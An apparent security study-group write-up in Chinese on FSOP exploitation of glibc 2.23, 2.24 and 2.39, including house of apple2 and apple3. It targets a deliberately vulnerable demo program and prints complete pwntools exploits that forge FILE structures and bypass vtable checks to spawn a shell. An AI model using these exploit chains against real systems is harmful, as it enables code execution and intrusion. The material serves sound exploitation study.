# 新版本 glibc 中的 FSOP 利用鏈
> 資安讀書會 11/30, 2025
很久以前堇姬講過利用 file structure 的任意讀寫和修改 vtable 的 get shell 方式,於是我打算接續著講一些在新版本還可以 get shell 的 FSOP 方式。
以下都會打這段程式碼,給你 libc address 且可以往任意地址寫長度 0x100 的資料,我會都用 FSOP 來打:
```cpp
#include <stdio.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("leak: 0x%lx\n",printf);
unsigned long addr;
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
read(0, addr, 0x100);
}
```
你可以在[這邊](https://share.rota1001.com/fsop.zip)找到檔案。
首先讓我們把時光倒退到 glibc 2.23。
:::info
以下的 exploit 中的 pwntools 都是 `5.0.0dev` 的版本,比 release 的還要新
:::
## glibc 2.23
之所以要從 2.23 開始講是因為 FSOP 運用的核心概念其實差不多,差別大部分在於要繞過的檢測不同。
FSOP 主要是利用在 `exit`、正常 return 或 abort 的時候,會呼叫 `_IO_flush_all_lockp`,它會將 `_IO_list_all` 指向的 `_IO_FILE` 還有它連著的所有 `_IO_FILE` 全部做一些操作,在滿足一些條件的時候會呼叫到我們可以控制的函式指標,那就能控制執行流。
在 `_IO_FILE_PLUS` 結構中,有個元素是 vtable,指向一個 `_IO_jump_t` 結構體,他放的是一堆函式指標([libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)):
在 `_IO_flush_all_lockp` 裡,有個地方會去呼叫 `_IO_OVERFLOW`([libio/libioP.h#L307](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307)),他要滿足的是 `fp->mode` 要小於等於 0 且 `fp->_IO_write_ptr` 要大於 `fp->_IO_write_base`
```cpp
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
```
注意到他的 `_IO_OVERFLOW` 的第 0 個參數的是 `fp`,也就代表我們能控制 rdi 指向的位置放的東西,如果我們在那邊放 `/bin/sh`,再調整 vtable 位置讓 `_IO_OVERFLOW` 對應到的剛好是 `system` 的話,那就可以 getshell 了。
接下是實作,首先從 `_IO_list_all` 的位置開始寫,我會把假的 `_IO_FILE_plus` 放在 `_IO_list_all + 8` 的地方,原因是因為那邊是 stderr 的位置,比較不會影響到正常輸入輸出。
於是我在 `_IO_list_all` 的位置寫 `_IO_list_all + 8`,在後面寫一個 filestructure,使用 python 的 `FileStructure`:
```python
file = FileStructure(0)
```
他的開頭要放 `/bin/sh\x00` 做為輸入,這個欄位是 flags,這裡沒差:
```python
file.flags = b"/bin/sh\x00"
```
然後滿足檢測條件:
```python
file._IO_write_base = 0
file._IO_write_ptr = 1
file._mode = 0
```
`_IO_read_ptr` 是在 0x08 的位置,overflow 的函式指標在 `_IO_jump_t` 結構體偏移 0x18 的位置,於是我在 `_IO_read_ptr` 的地方放 `system`,在 `vtable` 放 `_IO_read_ptr` 的位置減 0x18,也就是 `_IO_list_all + 8 + 0x8 - 0x18`:
```python
file._IO_read_ptr = p64(libc.sym["system"])
file.vtable = (_IO_list_all + 8 + 0x8 - 0x18)
```
完整的 exploit 在這:
```python
from pwn import *
r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.23-0ubuntu5_amd64/libc.so.6")
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))
_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
file = FileStructure(0)
file.flags = b"/bin/sh\x00"
file._IO_write_base = 0
file._IO_write_ptr = 1
file._mode = 0
file._IO_read_ptr = p64(libc.sym["system"])
file.vtable = (_IO_list_all + 8 + 0x8 - 0x18)
print(file)
payload = p64(_IO_list_all + 8) + bytes(file)
r.sendlineafter(b": ", str(len(payload)).encode())
r.sendafter(b": ", payload)
r.interactive()
```
## glibc 2.24
在 glibc 2.24 開始,會去檢查 vtable 是否在 `__start___libc_IO_vtables` 到 `__stop___libc_IO_vtables` 之間,所以不能亂造 vtable,然後這段是不能寫的,所以我們只能想辦法利用現有的 vtable。
```cpp
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
在 `_IO_str_jumps` 中有一些可以用的函式,它被定義在 [libio/strops.c#L326](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/strops.c#L326),它的 symbol 沒被放出來,不過其他人的 blog 有提到怎麼找這個 symbol 的位置:
```python
# https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie#libc2.24-ji-yi-shang-de-li-yong
def find_IO_str_jumps():
# find _IO_str_jumps
# notice that libc.address must be zero
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
return null
```
這個 vtable 裡面我們要利用的是 `_IO_str_finish`,它裡面會呼叫 `((_IO_strfile *) fp)->_s._free_buffer`,其實就是呼叫 fp 偏移 0xE8 的地方放的函式指標,並且以 `fp->_IO_buf_base` 作為輸入。
```cpp
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
```
我們可以先滿足之前那些 FSOP 的條件,讓它呼叫 `_IO_OVERFLOW`,調整 vtable 讓它實際上會呼叫到 `_IO_str_finish`,並且在 `fp + 0xe8` 寫上 `system`,在 `fp->_IO_buf_base` 寫上 `/bin/sh` 的地址,接下來是實作。
首先用上述函式拿到 `_IO_str_jumps`:
```python
_IO_str_jumps = find_IO_str_jumps()
```
我們同樣把 `_IO_FILE_plus` 構造在 `_IO_list_all + 8` 的地方,先滿足條件讓它呼叫 `IO_OVERFLOW`:
```python
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
```
調整 `vtable` 讓它呼叫 `_IO_str_finish`:
```python
file.vtable = _IO_str_jumps + 0x10 - 0x18
```
在 `_IO_buf_base` 放指向 `/bin/sh` 的指標:
```python
file._IO_buf_base = next(libc.search(b"/bin/sh\x00"))
```
最後構造 payload,把 `system` 放在偏移 0xE8 的位置:
```python
payload = flat({
0x00: p64(_IO_list_all + 8),
0x08: bytes(file),
0x08 + 0xe8: p64(libc.sym["system"])
})
```
完整的 exploit 長這樣:
```python
from pwn import *
r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.24-9ubuntu2_amd64/libc.so.6")
def find_IO_str_jumps():
# find _IO_str_jumps
# notice that libc.address must be zero
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset
return null
_IO_str_jumps = find_IO_str_jumps()
print(hex(_IO_str_jumps))
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))
_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
_IO_str_jumps = libc.address + _IO_str_jumps
file = FileStructure(0)
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file._IO_buf_base = next(libc.search(b"/bin/sh\x00"))
file.vtable = _IO_str_jumps + 0x10 - 0x18
payload = flat({
0x00: p64(_IO_list_all + 8),
0x08: bytes(file),
0x08 + 0xe8: p64(libc.sym["system"])
})
r.sendlineafter(b": ", str(len(payload)).encode())
r.sendafter(b": ", payload)
r.interactive()
```
這個東西印象中是在 2.28 後就不能用了。
## glibc 2.39
跳的有點快,直接到 2.39,之所以沒再往上是因為我是用 ubuntu 24.04,他是 2.39。
### house of apple2
他是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_overflow`,滿足一些條件後它會呼叫 `_IO_wdoallocbuf`
```cpp
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
...
```
然後它會去呼叫 `_IO_WDOALLOCATE`,第 0 個參數是 fp,而且這個 `_IO_WDOALLOCATE` 是從 `_wide_data` 中的 `_wide_vtable` 指向的 vtable 拿出來的,而這個 vtable 在哪裡是不會被驗證的,就代表我們可以偽造這個 vtable。
```cpp
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
```
以下整理一些要滿足的條件:
- `fp->flags` 要清除 `2 | 0x8 | 0x800`,並且有 `0x8000`
- flags 也是字串輸入,同時滿足上面條件的合法 flags 是 `u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800))`
- `fp->_IO_write_ptr` > `fp->_IO_write_base`
- `fp->vtable` 設為 `_IO_wfile_jumps`
- `fp->_wide_data` 指向一個偽造出的 `_wide_data`,滿足以下條件:
- `_IO_write_base` 是 0
- `_IO_buf_base` 是 0
- `_wide_vtable` 指向偽造的 vtable,且 `_IO_doallocate` 是 `system`
構造過程比較瑣碎,直接上 payload:
```python
from pwn import *
r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6")
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))
_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
file = FileStructure(0)
file.flags = u64(b"\x00\x00\x00\x00;sh;") | 0xffffffff & (~(2 | 0x8 | 0x800))
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file.vtable = _IO_wfile_jumps
file._wide_data = _IO_list_all + 0x8 - 0x10
print(file)
system = libc.sym["system"]
file._IO_read_ptr = 0 # 0x00: _IO_wide_data: 0x18
file._IO_write_base = 0 # 0x18: _IO_wide_data: 0x30
system_pos = _IO_list_all + 0x8 + 0xc8
file._unused2 = b"\x00" * (0xc8 - 0xc4) + p64(system) + p64(system_pos - 0x68)
payload = p64(_IO_list_all + 8) + bytes(file)
r.sendlineafter(b": ", str(len(payload)).encode())
r.sendafter(b": ", payload)
r.interactive()
```
### house of apple3
這條鏈有億點點複雜,其實把它壓進 0xF0 的長度已經不成人形了。
這個方法是利用 `_IO_wfile_jumps` 中的 `_IO_wfile_underflow`,經過一些檢查後會進入 `__libio_codecvt_in`([libio/wfileops.c#L111](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/wfileops.c#L111))
```cpp
wint_t
_IO_wfile_underflow (FILE *fp)
{
struct _IO_codecvt *cd;
enum __codecvt_result status;
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return WEOF;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end)
{
/* There is more in the external. Convert it. */
const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
...
```
在 [`__libio_codecvt_in`](https://elixir.bootlin.com/glibc/glibc-2.39/source/libio/iofwide.c#L160) 裡面,去呼叫了 `fp->codecvt->__cd_in.step->__fct`,並且使用 `gs` (`fp->codecvt->__cd_in.step`)作為第 0 個參數:
```cpp
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
const char **from_stop,
wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
enum __codecvt_result result;
struct __gconv_step *gs = codecvt->__cd_in.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));
```
這個 `fp->codecvt->__cd_in.step->__fct` 是我們可以自己偽造的,所以我們總共要偽造 `_IO_FILE_plus`、`_IO_wide_data` 、 `_IO_codecvt` 和 `__gconv_step` 四個結構體,以下是一些要滿足的條件:
首先是要讓他在 `_IO_flush_all` 裡面呼叫 `_IO_OVERFLOW`,所以要滿足:
- `fp->flags` 要有 0x8000
- `fp->_mode <= 0`
- `fp->_IO_write_ptr > fp->_IO_write_base`
然後修改 vtable 讓它呼叫 `_IO_OVERFLOW` 時實際叫到的是 `_IO_wfile_underflow`。
接下來滿足以下條件讓它呼叫 `__libio_codecvt_in`:
- `fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end`
- `fp->flags` 要把 `0x10 | 0x04` 清掉
接下來是 `fp->codecvt->__cd_in.step->__shlib_handle` 要是 0,這樣它就會去呼叫 `fp->codecvt->__cd_in.step->__fct`,把這個函式指標寫成 `system` 就好。
現在我們控制了 rip,但要怎麼控制 rdi 呢?
觀察 `__libio_codecvt_in` 的實現,會發現他在呼叫 `fct` 之前會執行以下的程式碼:
```cpp
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
```
會發現它等價於是可以往 `codecvt->__cd_in` 的相對位置寫一些東西。注意到呼叫 `fct` 的時候,它輸入的參數是 `fp->codecvt->__cd_in.step`,如果我們把 `fp->codecvt->__cd_in.step` 建立在 `((char *)(codecvt->__cd_in)) + 8` 的位置,再把 `to_start` 的設成 `u64(b"/bin/sh\x00")`,那做的事情就是把輸入變成指向 `"/bin/sh"` 的指標。
但會發現一件事情是 `fp->codecvt->__cd_in.step` 開頭放的東西是 `__shlib_handle`,這個值如果被寫成 `/bin/sh` 就不是 0 了,在 C 語言的觀點來看他不會呼叫 `fct`,但如果丟進 IDA 看的話:
```cpp
v10 = step->__shlib_handle == 0;
fct = step->__fct;
codecvt->__cd_in.step_data.__outbuf = (unsigned __int8 *)to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned __int8 *)to_end;
codecvt->__cd_in.step_data.__statep = statep;
if ( !v10 )
fct = (void *)(__readfsqword(0x30u) ^ __ROR8__(fct, 17));
```
你會發現,他在進行那幾行賦值的程式碼之前,先去把 `step->__shlib_handle == 0` 的結果儲存了,所以把它改成 `/bin/sh` 不會出問題,於是成功 getshell。
那怎麼把它壓進 0xF0 裡面呢?簡單來說就是把 4 個結構體合併在 0xF0 的空間中,直接上 exploit:
```python
from pwn import *
r = process("./chal")
context.binary = ELF("./chal")
libc = ELF("2.39-0ubuntu8.6_amd64/libc.so.6")
r.recvuntil(b": ")
libc.address = int(r.recvline().strip().decode(), 16) - libc.sym["printf"]
print(hex(libc.address))
_IO_list_all = libc.sym["_IO_list_all"]
r.sendlineafter(b": ", str(_IO_list_all).encode())
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
file = FileStructure(0)
file.flags = (~(0x10 | 0x04)) | 0x8000
file._mode = 0
file._IO_write_ptr = 1
file._IO_write_base = 0
file._IO_read_ptr = 0
file._IO_read_end = 1
file.vtable = _IO_wfile_jumps + 0x8
file._wide_data = _IO_list_all + 8 + 0x10
system = libc.sym["system"]
file._codecvt = _IO_list_all + 8 + 0x50
file._IO_buf_end = b"/bin/sh\x00"
file._IO_backup_base = _IO_list_all + 8 + 0x58
file._cur_column = system & 0xFFFF
file._vtable_offset = (system >> 16) & 0xFF
file._shortbuf = (system >> 24) & 0xFF
file.unknown1 = (system >> 32)
payload = p64(_IO_list_all + 8) + bytes(file)
r.sendafter(b": ", payload)
r.interactive()
```
## Reference
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/
https://ctf-wiki.org/pwn/linux/user-mode/io-file/exploit-in-libc2.24/
https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/
https://roderickchan.github.io/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-3/